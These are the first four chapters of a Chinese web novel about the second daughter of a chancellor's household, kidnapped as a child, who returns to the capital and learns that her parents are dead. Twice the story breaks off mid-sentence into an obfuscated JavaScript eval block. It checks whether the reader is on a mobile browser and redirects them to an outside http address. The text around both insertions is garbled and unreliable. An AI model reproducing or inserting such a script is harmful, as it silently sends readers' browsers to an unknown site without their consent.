《跋扈二小姐平步青云》 1. 第一章 进京 女孩取下背着的大书囊朝茶桌上一扔,一屁股坐在少年对面,伸手抓起一个热气腾腾的馍馍,张口咬掉了一半,腮帮子撑得鼓鼓的如同一只肥松鼠。 少年深深看了一眼布衣麻鞋身子单薄的女孩,突然开口道:“我们,就此别过。” 女孩猝不及防,被馍馍噎得直翻白眼,忙拿起茶碗猛灌了一大口,喘过气后急问:“为何?” 少年脸色清冷,沉声道:“我来京师,是为我娘报仇。” 女孩将茶碗朝桌上重重一顿,豪气干云道:“报仇?我帮你。我虽与你素昧平生,但一路进京,都是你在帮我,若非你从大虫嘴里夺食救了我,我的小命早没了。” “用不着。”少年冷然盯着她清澈的眸子,“记住,若相遇,只当不相识,否则,会给你带来杀身之祸。” “可你总得告诉我,你找何人报仇?便算你死了,我也知道你死在何人手上。” 少年迟疑片刻,咬牙道:“凡家,二姑娘。” 女孩吓得手一抖,没喝完的茶泼了自己一身。 她盯着他的脸愣了好一会,这是一张美得无任何瑕疵,却也冷得无任何表情的脸,难以置信地问:“为何?” 少年不再回答她的问题,怀中掏出所有铜板,数了六文交给伙计。 左手拿起女孩放在桌上的书囊往肩上一挎,右手拿起横在桌上的长剑,淡然道:“走了。” 女孩似乎还没有从震惊中缓过神来。 她姓凡,在凡家女孩中排行第二。 虽然姓凡的人很多,排行第二的凡姓女子也不少,但她觉着少年说的凡家二姑娘一定是自己。 因为,曾有人对她说过同样的话。 五岁,她被人从皇宫掳走带到岭南,掳走并抚养她的人自称是她舅舅。九岁,舅舅对她说了一句话:“你快快长大,回京城杀了凡家二姑娘,为你娘报仇”。 当时她只觉着难以想象:合着我长大便是为了杀死我自己? 而此刻,是觉着不可思议:我才十四岁,我到底干了何事?缘何便成了过街老鼠人人喊杀? 她愣愣地盯着少年的背影,喃喃道:“阿哲,我跟你有仇?我自己都不知道?” 少年没有听见她的低语。他突然停住脚步,转身回到女孩跟前,掏出身上仅剩的三文铜板递给她:“照顾好自己。” 转头,绝然离去。 女孩没有追赶少年,她与他本不相识,是她死皮赖脸地要跟他进京,一路上少年话不多,女孩只以为是他性格使然,故也不多问。 女孩神情落寞,怔怔地看着少年的背影消失在覆盎门内。 她收回视线,过了好一会,脸色转霁,庆幸自己能活着回到京师。 甫一进城,女孩傻眼:家在何处? 偌大的京师,街市繁华,却没有任何她熟悉的痕迹。也难怪,她离开时只有五岁,之前连大门都极少迈出。 她挠头思索良久,朝城东方向走去。 她忆起幼时爬上家里那颗高大的柏树,能最早看到日出。 大街上,刚开门的绸缎庄,身形富态的伙计才在柜台里坐下喝了一口清茶,抬头见女孩进来,皱着稀疏的八字眉不耐烦道:“大清早的,要饭往慈善庄去。” 女孩朝他福了一福,脸上带笑道:“掌柜吉祥,打扰了,向你打听一户人家。” 伙计心情莫名好转,笑道:“丫头你说,但凡在这街上住过的,没有叔不认识的。” “街上是否有姓凡的人家?房子极大。” “姓凡的人家海了去了,房子大的亦不少,你要找哪家?” “早年走失了一名女孩的凡家。” 伙计目光在她身上扫了几个来回,认真道:“还真有,出门往东,约两盏茶路程。” 女孩出了绸缎庄,顺着东西通透的大街朝东走了没多远,果然见一高门大户,门楣上的楠木匾额端端正正刻着“樊府”二字,此樊府非彼凡府。 她自嘲:我便知道,哪有瞌睡遇枕头的便宜事落我头上。 女孩打起精神,以这条街为起点,一路向东,在周边大街小巷慢慢扩大搜寻范围。 隔三差五地,她便进入路边老店,遇店主或伙计,皆打躬作揖,口称爷爷大伯婶婶大姨,问周边是否有早年走失了女孩的凡姓人家。 被问者多是一脸懵逼摇头,或指着某处说前面那户便是。 待她兴冲冲赶去,不是小门小户便是孩子近年才走失。 如此这般跑了一整日,中间只花两文钱买了一个馍馍充饥。 夕阳西下,女孩又累又饿,垂头丧气走进一条小巷,巷口几个摆卖的小贩仍未收摊,她掏出仅剩的一文钱,小心翼翼地问卖大碗面的妇人:“婶,我只有一文钱,能不能给我一碗面汤?不要面。” 妇人见她衣裳破旧却还干净,叹口气,舀了一碗面汤递给她,怜悯道:“丫头,喝吧,不要钱。” 一名低头往炉灶添柴的六七岁孩童呼地站起身,伸手拦住妇人:“娘,你少发慈悲,乞丐忒多,你能送多少?” 女孩见孩童一双单眼皮小眼睛滴溜溜地盯着自己,不由尴尬干笑。 卖面妇人将面汤递给女孩,摇摇头无奈道:“甭理他,自他爹去后,他便成了好斗的小公鸡,不惹他都炸毛。” 女孩接过面汤狼吞虎咽,汤里有些细碎面筋。 卖面妇人关切地问:“丫头,你这是要上哪?天黑了恐不太平。我姓宋,就住在前街,家里就婶和吴雅童,如无着落,在宋婶家歇一宿吧。” 她听女孩口音不象本地人,猜想她无落脚之处,动了恻隐之心。 女孩抬头朝宋婶感激地点点头。 名为吴雅童的男孩顿时急眼:“娘,她这单薄的小身板,能推磨还是能擀面?”看着仰头将面碗几乎倒扣在脸上的女孩,不屑地又补了一刀,“还吃得多。”那语气,伤害性不大,侮辱性极强。 女孩不怒反笑:“你是铁公鸡啊这么能算,你怎么不回家下蛋?” 吴雅童被女孩带偏了节奏,疑惑地问:“为何要下蛋?” 女孩一翻白眼道:“鸡生蛋蛋生鸡,鸡越来越多,卖鸡不比卖面挣得多?” 乌鸦童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457155|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有所思道:“嗯,说得很有道理的样子哦。” 女孩喝完面汤,将碗还给宋婶,道了声“谢谢”便要离去。 角落里,一直靠着算卦幡打瞌睡的瞎子忽然开口道:“姑娘可是来寻亲的?” 女孩见是一名神情儒雅的中年大叔,点头答道:“我寻一户凡姓人家,凡家房子极大。” 瞎子才要说话,卖糖葫芦的老伯笑道:“丫头,这儿是菜市口,出了巷口,是有名的栖霞街,往东走一程便有一户姓凡的,院子叫约…什么园来着,那是京师第一豪门,可是你要找的?” 提起凡府,众摊贩均由衷地吸了一口凉气:那府里的主人,是用身子替天子挡了致命一箭的人物,而他的夫人,是大名鼎鼎的长公主,他并非靠吃公主的软饭上位,而是太后喜爱他那美貌与智慧均在线的夫人,认了做女儿,他多余披了件驸马马甲。 女孩眼里顿时如有碎钻闪烁,急不可待朝老伯所指方向快步而去。 身后传来众摊贩的哈哈大笑:“哈哈,葫芦伯,你忒不厚道,这小丫头一看便是乡下来的,你好意思骗她?怕是连门槛都碰不着便被门口的护院吓傻了。” 瞎子没来由地说了一句:“燕雀鸿鹄,云泥之别也。” 这瞎子生意不大好,那杆幡上与大大的“算”字并列的“有一说一”四个字,让许多想算卦的人望而却步,故对他的话众摊贩也不当一回事。 察觉到有人站在算卦摊前,瞎子睁开被一层灰白色云翳遮挡了瞳仁的双目,冷言道:“堂堂御史中丞,不呆在兰台履行监察之职,鬼鬼祟祟到这市井九流之地做甚?来此反贪除恶?简直贻笑大方。大人您怀疑谁贪墨或反骨,直接命人拘去兰台便是,何须亲力亲为?也是,大人亲自到坊间摸排线索,传出去能在天子跟前落个好名声吧。” 瞎子嘴里的御史中丞,是一位须发皆白的高瘦老者,他并不理会瞎子的冷嘲热讽,厚重的眼皮下,猎犬般的目光直直盯着女孩瘦削的身影。 女孩刚踏上栖霞街,便有一对锦衣男女迎面而来,那公子气宇轩昂,面如冠玉,剑眉星目,同行的是个美貌女子,白如凝脂的鹅蛋脸上美目流盼,身段婀娜,高耸的前胸随着疾行的脚步颤动出无限风光。 行人皆驻足抻长脖子对他们行注目礼。 女孩对美人没有抵抗力,便也停下脚步跟着众人观望。她先是盯着女子看了一会,那女子撇了她一眼,抬了抬下巴,女孩看女子一副傲娇神态,心道:切!真把自己当凤凰了。便又转眼去看公子,觉着那公子的身材长相,减一分则少增一分则多,更胜同行女子。 一直目不斜视快步前行的公子不经意间看向女孩,女孩猝不及防撞上他的目光,忙垂下眼帘加快脚步离开,她才不要看到远古神兽般的倨傲。 锦衣男女与她擦肩而过。 走了几步,那公子突然止步回身,若有所思地看着她的背影。 女子心思细腻,目光落在衣衫破旧的女孩身上,轻声问:“公子,那小乞丐怎么了?”见公子未置可否,“我去拦住她。” 公子摇头:“跟着便可。” 2. 第二章 回家 女孩在一座高大古朴的府邸前猛然停住脚步,抬头看着大门门楣上那块刻有“约素园”三字的匾额,静静站了一会,心如同被恨恨扯了一把,顿时眼眶湿润。 门前站得笔挺的中、少年两名护院,手扶佩刀眼神严厉盯着来往行人,见小丫头愣愣地当门站着,也不去理会。 便此时,隐约一阵铜铃声传来,两名护院各推开半扇厚重的铜制鎏金刻着双凤祥云图案的大门。 女孩快步上前欲跨进门槛,两名护院手疾眼快,同时挺身拦住她的去路。 中年护院大声喝道:“小乞丐瞎了眼么?也不看看这是何处?” 女孩急了,试图用肩膀撞开他们,边撞边对中年护院道:“谁是乞丐?你才是乞丐,你全家都是乞丐。” 路过的闲杂人等一看豪门有瓜,乐得围拢过来,一时聚了不下二三十人。 便听女孩倔强道:“让我进去,这是我家,我以前便住在此处。” 众人看她的衣着打扮,虽未到衣衫褴褛的地步,但层层叠叠的补丁及多次洗涤,已分不清底色,一看便是常年流浪居无定所的小乞丐,纷纷大笑起哄:“丫头,你怎么不说你以前住在皇宫,没准皇后娘娘还是你娘亲呢。” 趁中年护院去驱赶越聚越近的众人,女孩涨红着脸越过他朝里跑。 那十四五岁的少年护院看得清楚,伸脚一勾想把她绊住,被她灵活躲过,少年护院怒而抓住她的小细胳膊往后一扯,扯得她踉跄倒退了几步。 女孩好不容易站稳身子,抬头满脸怒容地盯着少年护院,恨不得用眼神剐死他。 铜铃声由远而近,众人看热闹不嫌事大,促狭地对女孩道:“丫头,有本事你就站在那儿不动,看,你家皇子妃姐姐回来了。” 言毕,不约而同地让开一条通道。 便见一辆覆着帷幔挂着铜铃的豪华马车停在门前,一名二十出头,云鬓花颜的女子下了马车,眼皮也不抬,问迎上来的少年护院:“简杰,何事喧哗?” 名为简杰的护院垂手而立,诺诺道:“回皇子妃,不知哪来的野丫头想闯进府里。” 他口称的皇子妃,是凡府长女凡雪霁,刘家天子的次子刘白的正妃。 凡雪霁驻足,漫不经心地看了一眼稍远处的女孩,小小的个子,身形单薄,凌乱的鬓发在头顶胡乱挽了个双丫髻,黑黑的小脸上有几颗红肿溃烂的痘痘,一双大而圆的杏眼带着疑虑看着自己。 雪霁厌恶地摇摇头,问:“可问过来历?” 简杰道:“问了,说以前便住在此处。” 雪霁眉尖轻蹙:“赶紧打发了,别挡道。” 雪霁回身,从车内扶出一位气定神闲的中年圆脸妇人,径往大门走去。 女孩目不转睛地看着二人,眼里既有疑惑也有着急,抢前一步想跟着她们朝里走。 简杰伸右臂拦住她,低声喝骂:“想找死啊。” 中年妇人停下脚步朝这边看来,视线却被雪霁挡住,她探询地看向雪霁。 雪霁若无其事道:“没事,来了个冒充妹妹的小泼皮。” 中年妇人叹了口气,道:“给她些银钱,好生打发了,别难为她。” 雪霁悄声道:“依我说便该打一顿板子撵走,看何人还敢来骗钱。” 自从凡府二姑娘走失后,上门的江湖骗子如过江之卿,让人不胜其烦。 中年妇人语气轻柔,却分明含着责备:“不许这么说,你妹妹或许也如她一样呢。”脸上现出伤感之色。 女孩被挡着不能近前,眼见大门即将关闭,急得不顾一切地又要朝里闯。 简杰一把将她推倒在地,骂道:“还来劲了,今日你运气好,我不打你,拿上银钱滚吧。”气哼哼将一袋铜板扔到她身上。 女孩从地上一跃而起,拍了拍屁股上的灰尘,大声喊道:“我以前便住在此处。” 言毕,鼓着腮帮子咬牙狠狠地瞪着简杰,然后翻了一个白眼,她瘦得不及巴掌大的小脸上眼睛显得特别大,这一眼甚是霸气狠厉,眸中只见冷冽白色。 简杰不耐烦地骂道:“给脸不要脸。”扬起巴掌要朝她脸上扇去。 一直夹杂在众人之间静观的锦衣公子欲待上前阻拦,不料已走进院门的中年妇人听见女孩的声音,回头急步走来,正看见女孩翻白眼的架势,妇人如遭雷击,一把握住女孩瘦骨伶仃的小手,抖着声音问:“可是……小二?” 女孩先是一楞,随后缓缓点了点头。 中年妇人一把将她搂在怀里,惨切道:“二姑娘你总算回来了。”热泪顺着脸颊滚滚而下。 女孩侧目看她,脑子里天人交战了一会,突然双手环着妇人的脖子喊道:“妹娘。”眼中有泪,却满脸惊喜。 小二,便是凡府走失多年的二姑娘凡青绿。 儿时的二姑娘,一不高兴便朝人翻白眼,胖乎乎的小圆脸上一双眸子被挤成了小三角,却丝毫不影响她翻白眼的架势:长长的睫羽微微颤动,忽地向上一挑,眸子瞬间翻出一片莹白。 娘亲笑言她翻的是“九阴白眼”,妹娘则说《道德经序》中有一句“祸灭九阴,福生十方”,说她翻的分明是“十方白眼”,眼神包罗万象。 故妹娘凭这招牌式的十方白眼认出她来。 吃瓜群众惊得眼珠子掉了一地,嘴全张成了满月型:不是吧?这小乞丐竟真的是这府里的主子? 随后跟来的雪霁待要上前相认,却见那锦衣公子站在小二身后,拍着她的肩膀笑问:“小二,真的是你?” 小二歪头思索片刻,用袖子抹了一把脸上的泪水,挣开妹娘怀抱,瘦骨嶙峋的小手握成拳头照公子前胸打了一拳:“小哥,你还送快递么?” 公子一愣,含糊应道:“唔。” 二皇子妃凡雪霁及公子身旁的锦衣女子顿时吓得石化当场。 春松阁左梢间,小丫鬟叶儿闷头看着坐在榻前的惠妈妈在一块墨绿色的绸缎上飞针走线,开口问道:“惠妈妈,我怎么从没听说过二姑娘?” 慧妈妈将目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457156|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从绿色云锦上移至叶儿秀气单纯的小脸上,轻声道:“你去年才进府,自然不知道。二姑娘走失后,下人都不敢提她,怕妹娘伤心。” 叶儿暗自叹了口气,对小孩子走失并不觉着奇怪,自已便是在逃荒路上与爹娘走散,被骗去牙行转卖进凡府的。 叶儿不无担心地问:“二姑娘性子如何?”心里想着怎样才能将新主子侍候好。 她做事谨小慎微,怕一不小心行差踏错又被卖掉。 才踏进门槛的春松阁管事水妈妈,闻言朝右梢间努了努嘴,对慧妈妈小声道:“说起来,这二姑娘是个人物。” 青绿走失前年纪尚小,跟妹娘住在春松阁的右梢间,三爷凡高住左梢间,今凡高已分院别居,左梢间改为妹娘的起居室,右梢间却一直给青绿留着,里面摆设也保留如初。 叶儿上前接过水妈妈抱着的几匹绫罗绸缎,央求道:“二姑娘是何等样人,水妈妈你说说呗。” 水妈妈不答,对慧妈妈客气道:“妹娘说了,二姑娘四季衣裳都要备齐,你要辛苦一阵子了。” 惠妈妈咬断打了结的线头,抬头道:“难得为二姑娘尽力。想起来,她对我们这些老仆甚好,从前但凡为她做事,她都会道声谢谢。” 惠妈妈是大爷凡不凡院里的管事,女红极好,被妹娘调来给二姑娘赶制衣裳。 水妈妈在慧妈妈对面坐下,叹道:“可不是么,二姑娘人虽小,却极有主见。” 看向叶儿,这才回答她的问题:“老爷只娶了夫人,不曾纳妾,五个孩子皆夫人所出,余皆乖巧懂事,唯二姑娘做事天马行空,虽老爷管得紧,奈何夫人说二姑娘最像儿时的自己,便由着二姑娘的性子散养。有丫鬟仆役闯些小祸啥的,赖到二姑娘头上,夫人也不计较。” 叶儿点头:“二姑娘不恼么?” 水妈妈用手压着布料的一头,配合慧妈妈用画粉在布料上画线,道:“一次,夫人室内的青瓷宝瓶摔碎了,当场只有二姑娘和夫人院里的柳絮,我恰巧有事来秉夫人,见那柳絮在夫人面前一口咬定是二姑娘所为,二姑娘气得直翻白眼,最后说了句‘清者自清’,嘟着小嘴走了。” 慧妈妈一边在布料上下剪一边笑道:“我倒也听闻此事,后来柳絮被撵了出去,据说是二姑娘从大爷书袋里掏出一个荷包,说好看,让大爷院里的大丫鬟笔芯也给她缝一个。笔芯一见荷包上绣的柳叶,脸色比那树叶还绿。” 水妈妈语气不无赞赏:“你却不知,二姑娘看着柳絮抹着眼泪收拾行囊,对她说‘柳絮姐姐你不必恼我,这阳谋好过你使的阴招’,那淡定神态恰似老神在在。” 叶儿吐吐舌头:“简杰有小鞋穿了。” 简杰亲爹是府里的大总管简维超,简杰没少仗势欺负她们这些小丫鬟。那日她跟着众人跑到大门看热闹,听见妹娘说“二姑娘你总算回来了”,便见简杰瞬间变成了泥塑木雕。 以二姑娘的性子,叶儿不用脑补都能想到接下来的令人极度舒适的画面,嘴角忍不住微微翘起。 3. 第三章 走失 左梢间煞是热闹,右梢间内,青绿却在昏睡。 两日前,她一踏进府门,便恨不得即刻扑进娘亲怀里,因拉着妹娘急步如飞,把雪霁姐远远甩在身后,更顾不上理会小哥。 初时妹娘还劝她:“夫人今日进宫尚未回来,姑娘先沐浴更衣,用过膳食才好。” 无奈青绿心急,扭头便要出府门,说去路上迎候娘亲,给她一个意外惊喜,没准她会惊喜得背过气去。 妹娘满腹酸楚:你娘见不着你早已背过气去了。见瞒不过,只得向她道出实情:“你爹娘已不在人世。” 青绿骤然闻此噩耗,惊得魂魄俱散,她无论如何都不敢相信,爹娘正值壮年,如何说去便去了? 她疯了似地要见爹娘,妹娘将她带到院东头一座僻静庭院。 青绿跪在爹娘的牌位前,任由热泪横流,早知如此,她宁愿不要回来,只要不回来看不到眼前的这一切,爹娘便还是活着的。 妹娘哽咽的声音在她耳边断断续续响着:“去年春,兖、豫、荆三州水灾引发瘟疫,老爷领昭令赈灾,染重疾归家,姐姐衣不解带昼夜侍奉,心力交瘁,跟着也染疾倒下了。” 妹娘嘴里的老爷,是青绿的爹,一人之下万人之上的丞相凡羲,而姐姐,便是青绿的娘,合浦郡主纳兰芷楠。 妹娘名姜苇,是和纳兰芷楠一起长大的小伙伴,是个孤儿。 凡羲在合浦太守任上擢升太子少傅,赴任之时,纳兰芷楠身怀六甲,是以姜苇随行,此后再未离开凡府,终身未嫁。 而姜苇之所以被称为妹娘,是因为她将自己的毕生心血全倾注在凡家儿女身上。 纳兰芷楠日常教诲孩子们,要像敬重自己的娘亲一样敬重她听她的话,原本该称呼她为姨妈或姨娘的,纳兰芷楠说姨妈不妥,像那啥,又嫌姨娘不好听,像小妾,故孩子们便管她叫妹娘——娘的妹妹。 “姐姐嘱咐,她去后,务必一把火将她烧成灰烬,她化作轻烟随风吹向四面八方,便能遇见你,带你回家了。我照她说的做了。” “老爷吩咐,生死与姐姐同行,故姐姐和老爷只有牌位而无陵墓。” …… “姐姐说你书读得杂,过目不忘,便留了些书给你,大多作了批注,都放在你房里。” …… “姐姐临去前拉着我的手说‘我等不到小二回家了,她回来见不着我该有多伤心。妹妹,你一定要等她回来’,我说‘姐姐你放心,小二一定会回来的,否则我绝不去见你’,姐姐她,她才闭上了眼睛。”妹娘泣不成声,“姐姐是卯时去的,辰时,老爷也去了。” 青绿紧抿着双唇,不吃不喝也不说话,单薄的身子缩成小小的一团,跪了整整一夜,直至支撑不住一头栽倒在地。 叶儿蹑手蹑脚进了右梢间,悄声问在外间枯坐的妹娘:“姑娘还没醒么?都两日了,不会出甚事吧?” 妹娘摇头,吩咐道:“给姑娘备好沐浴的香汤及换洗衣裳。” 叶儿点头,悄无声息退了出去。 青绿缓缓睁开眼帘,见自己置身于一间雅致闺房内,床上华枕秀衾,左边是梳妆台,右边是书架及书桌,书架上满满的简牍及缣帛,书桌上整齐摆放着狼毫、宣纸及一方带螭龙纹的砚台,一旁的花架上立着一个琉璃花樽,插着一束墨兰,清香扑鼻。 她一时神情恍惚,想不起自己身在何处。 房门被轻轻推开,青绿的目光落在走进来的中年妇人脸上,怔忡片刻,嗓音嘶哑开口道:“妹娘?” 妹娘俯身,眼神充满慈怜:“醒了,你整整昏睡了两昼夜,哥姐弟弟都等不及要见你呢。” 她怕人打扰青绿,一直在外间守着,一概人等全被隔离,便是亲亲的兄弟姐姐亦不例外。 妹娘轻轻抚着她的额头,哽咽道:“今日是熙元二十五年立春,小二,你离家,整整九年。” 青绿闭目良久,方才想起是在自己家里。 青绿一入正堂,三位琼质玉姿般的青年男女马上聚拢过来。 一名丰神俊逸年过弱冠的公子一步上前,将她一双小手合在自己温暖的手心里,低沉的声音微微有些颤抖:“二妹妹。” 青绿眼含热泪道:“大哥。” 雪霁从后搂着青绿单薄的肩膀早已哭花了妆容。 一名唇红齿白、眉目如画的十一二岁的少年却只是怯怯地扯了扯青绿的衣襟,唤道:“二姐。” 这是小弟凡高,青绿离家时,凡高才三岁,如今已高出她一头。 她百感交集,想伸手摸摸他脑袋,终是作罢。 青绿四处张望:“二哥呢?” 大哥容色温和,有些遗憾:“他现在边关,已托人捎信给他。” 丞相凡羲有三子二女,除次女外,俱是超凡脱俗的人物。 长子凡不凡,卓尔不群,胸壑满满先圣的格物致知诚意正心、修身齐家治国平天下,现为议郞给事中,天子近臣,负责陛下顾问应对。 次子凡非凡,喜舞刀弄枪,力大无比,刚蓄发便到军中,因作战勇猛被封为西域都护府副校尉,位仅次于都护府都护。 末子凡高,小小年纪,吟的好诗赋的佳词作的美文,大有使长安纸贵的趋势。 长女凡雪霁,论长相不足以倾城,但论德言工容,长安城内最讲究的士族在教导自家女儿时都附赠一句:“看人家凡雪霁。” 至于次女凡青绿,据说读书过目不忘,与人辨驳满嘴歪理,当年有京城小无赖之称,但多年来渺无音讯。 大厅内唏嘘一片,妹娘见众人只顾着落泪,因抹去满脸泪水,强笑道:“二姑娘该饿坏了,先用膳吧。” 众人在桌旁落座,几个丫鬟流水般上菜的间隙,青绿看着面前亲切却不无陌生的面孔,一会觉着自己被哥弟姐姐的逆天颜值秒成了渣渣,一会又想着若爹娘还在,会否对自己很失望? 只是瞬间功夫,她的脑海中己然设想了许多可能或不可能,思绪翻飞间,便觉有些惭愧,因对众人关切的问候只以点头或摇头作答。热闹寒暄过后,一味埋头祭奠自己前胸贴后背的五脏庙。 她的吃相有些上不得台面,几次扔了牙箸辅以双手。 凡二代们对此反应不一,凡高满眼惊诧,雪霁欲制止终是不忍,不凡觉着该聘名师给她补上礼仪课。 妹娘想着青绿不知受了多少苦才能活到今时今日,一时心酸,却又极力忍着不让眼里盈满的泪水滴落。 青绿用完膳回到住处,一名脸色红润身子壮实的丫鬟迫不及待迎上前来,喜极而泣道:“姑娘我可盼到你回来了。” 青绿迟疑地看着她。 丫鬟抹去泪水,噏动着厚嘴唇憨憨道:“我是小北,韩小北。” 青绿难以置信地脱口而出:“小北,你怎么这么胖?”不由笑了一笑。 原先派给青绿的四名贴身丫鬟,妹娘分别取名东西南北,瘦瘦的小北最小,是青绿的死忠粉,陪着她胡闹没少替她受罚。 青绿走失后,妹娘便将四人分到各院,小北死活不愿走,说要留下给姑娘打扫屋子,姑娘爱干净,容不得屋里有灰尘。 小北跟着笑,却又流泪嗫泣道:“我方才上庙里给姑娘祈福,老天爷真的有眼,肯定是看到我的诚心了。姑娘回来真好,夫人却不会再来了。” 夫人常来右梢间,爱听她絮叨姑娘那些琐碎糗事,比如她跟着姑娘去逗弄后院那几只萌凶萌凶的大白鹅,夫人每每听到她们被大鹅追得屁滚尿流都笑出了眼泪。 夫人待她极好,她觉着夫人温暖的目光像极了记忆中的娘亲。 听小北提到娘,青绿不免垂下泪来。 才进门的妹娘斥道:“姑娘才好些,你又招惹她。” 青绿闻言回身,见大哥跟在妹娘身后,如果没猜错,他应该是来了解自己这些年是如何生活的,忙擦去脸上的泪水,将二人让至内室。 妹娘让小北沏上一壶茉莉花茶,便屏退左右,关上房门,在屋子一角离兄妹稍远处坐下。 凡不凡坐在青绿对面,平直而浓黑的眉毛下,一双明亮的眸子沉稳地看着青绿,他一贯如此,严肃有余而活泼不足。 室内气氛顿时有些沉闷。 他意识到青绿的不安与局促,便举着手中天青色的琉璃茶盏语气轻松地问妹娘:“这茶具成色极好,何时藏了这些个好东西?” 妹娘笑道:“早前大秦的贡品,夫人说二姑娘喜欢绿色的物件,便一直留着。” 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她偶尔见过弟弟凡高尿尿冲淋蚂蚁窝,甚是羡慕。 一位面容绝美的妇人恰巧从屋内出来,闻言大惊失色,一把将小女孩推进屋子。 青绿觉着偷窥别人撒尿极其下作,且还被人撞破,吓得扭头撤开小短腿便跑,自觉已跑出妇人魔爪的范围,方敢止步回头,远远见妇人倚门而立,才稍稍松了一口气。 她依稀记得见过这妇人,是何人却想不起来。 青绿意态阑珊回到皇后所住的正殿,见娘与皇后娘娘正聊至兴处,好孩子是不应该打扰大人说话的,她悄咪咪进了后院。 后院鸦雀无声,一位眉目疏朗的伟岸男子,慵懒地斜靠在一张硕大的黄花梨贵妃椅上,晒着暖洋洋的太阳,身上的明黄褂子泛着微微金光。 青绿见他眼皮微垂,手上捧着的一卷简牍似落非落,便蹑足过去,胖乎乎的小手捧起简牍,关切地问他:“大人,你也是被罚在此处思过么?” 娘教过她,在宫里看见年长者,尊称一声“大人”总不会错。 黄褂子“大人”睁开双目看向青绿,眼神微煦,咧嘴笑笑,算是默认了她的“在此思过”的发问,还将自己的身子往边上挪了挪,示意她坐下。 青绿踮起脚尖奋力向上一跃,毫不客气地在“大人”身旁落座。 她先是老气横秋地叹了一口气:“唉!大人也如此可怜。”然后稚声稚气地安慰可怜的大人,“大人,你不必难过,我也常被爹罚饿肚子面壁思过,久了便不当回事,思过思的全是别人之过,完了该吃吃该睡睡。”这里的“大人”是相对于自己的“小人”而言。 她的两只穿着橘色绣花鞋的小脚悬空前后摆动着,一副悠哉游哉神态。 “大人”哈哈一笑,揪揪她头上大大的绿绸蝴蝶结问道:“你是凡家孩儿吧?” 青绿待要回答,一个鬼魅身影突然飘落在她眼前。 看见那张惨白老脸上鹰隼般的双目,她吓得一个激灵从椅子上滚落至“大人”身后,掀了“大人”宽大的黄褂子将自己遮挡得严严实实,像极了一只被一棒子敲中脑袋的小地鼠。 黄褂子“大人”对白脸大人摆摆手道:“无妨” 白脸大人跪下,双手递上一卷简牍道:“凡丞相送来的玉门关八百里加急。” 黄褂子“大人”威严道:“念。” 青绿听不懂二人的说话,但听得出白脸大人语气愤怒,声音越来越大,黄褂子“大人”却一直沉默不语,她不知道他能不能护得住自己,想着回家又得被丞相老爹罚面壁思过,搞不好还有家法伺候,便悄悄从他的黄褂子底下滚出来,溜出了后门。 一名穿浅褐色比甲的宫人焦急地守在后门,一见她便拉着她的小手,着急忙慌道:“姑娘别出声,你娘让我带你出宫。” 青绿老老实实地将嘴闭成一个蚌壳。 宫人将她带至一个冷清的院落,穿过寂静的院子到了一扇小门前,告诉她门那边有人接她。 青绿觉着是娘怕她受爹的责罚,让她先回家,便什么也没问。 她才踏进小门,便被人捂着嘴巴套上麻袋,扔到一辆满是蔬菜味的马车上。 4. 第四章 摆谱 青绿将自己当日被套麻袋的情形大致说完,垂下头对凡不凡道:“我能记住的便是这些了。” 凡不凡原就不指望她能说出个子丑寅卯,毕竟当年她才五岁。 他沉吟着道:“从你所说的宫殿方位来看,你那天遇见的美人应该是谌鱼少使,那么,从椒房殿后门将你带走的是宫人阿倩?她们为何这么做恐怕再也无从知晓,谌鱼和阿倩当日双双溺水而亡,这事成了一桩无头公案。”这番话更像是在自言自语。 青绿心里一沉,问道:“我出事的那日么?” 凡不凡点头,语气沉重:“当年你在帝后跟前凭空消失,未央宫被翻了个底朝天仍踪迹全无,最后断定你是自行出宫被人牙子拐了。陛下雷霆震怒,下令将当日的卫士及进出后宫的杂役杀了不下百人,若不是爹极力劝阻,还不知何时收场。连带着皇后也因管理后宫不善,在椒房殿禁足百日。” 青绿低头双手绞着一方丝帕,黯然无语。 凡不凡从回忆中收回思绪,吁一口气,转而问道:“这些年你是如何度过的?” 青绿默了一会,缓缓道:“马车出宫后不知走了多远,我从麻袋里被放出来时,天已经全黑了,我被打扮成男孩,随赶车的那户人家日夜兼程到了岭南。” 凡不凡一连串地追问:“赶车的绑你做甚?他是何人?你在他家可曾受苦?这家人现在何处?” 青绿心里有些慌乱,避开他的目光,摇头道:“赶车的姓蓝,让我唤他舅舅,待我还好,送我上私塾念书。我九岁那年逃离蓝家,这家人便失了踪迹,我一路跟着赶考的书生或进京的商贾回到京师。” 她不想暴露阿哲,故对自己回京的行踪有所保留。 凡不凡迅速将蓝姓在脑子里过了一遍,无甚关联之人或事,欲待再细问。 妹娘走过来在青绿身旁坐下,心疼地将她揽在怀里,对凡不凡道:“这些事待以后慢慢说吧,我看姑娘也乏了。” 青绿神情疲惫,明显有些敷衍,妹娘理解为她此刻不愿触及伤心过往。 凡不凡一想,自己确是急了些,便笑道:“妹娘说得是。” 他端起茶杯将茶水一饮而尽,对青绿温言道:“你好好将养一段时日,往后请名师给你补上这些年的功课,这是娘的意思。” 青绿使劲点头,爹娘已故,长兄为父,大哥理所当然便是凡府老大,这位新老大最得原老大真传,对人对已要求之高,与爹相比有过之而无不及。 青绿从小便怵爹,如今在陌生的大哥跟前更多了几分怵意。 青绿送走大哥,随妹娘来到左梢间试穿缝好的新衣裳。 